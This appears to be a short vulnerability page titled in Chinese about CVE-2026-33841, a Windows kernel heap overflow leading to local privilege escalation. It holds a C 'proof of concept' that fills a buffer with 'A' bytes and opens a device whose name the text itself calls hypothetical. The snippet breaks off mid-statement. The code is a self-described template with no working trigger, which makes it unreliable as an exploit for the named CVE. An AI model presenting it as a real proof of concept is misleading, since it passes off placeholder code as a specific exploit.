CVE-2026-33841 Windows内核堆溢出致本地提权漏洞

#include <windows.h> #include <stdio.h> // Proof of Concept for CVE-2026-33841 // Note: This is a conceptual template. Actual exploitation requires specific memory layout. int main() { HANDLE hDevice; DWORD bytesReturned; char buffer[0x1000]; // Fill buffer with pattern to trigger overflow memset(buffer, 'A', sizeof(buffer)); // Attempt to open the vulnerable device driver (Symbolic link name is hypothetical) hDevice = CreateFileA("\\\\.\\VulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("Failed to open device.
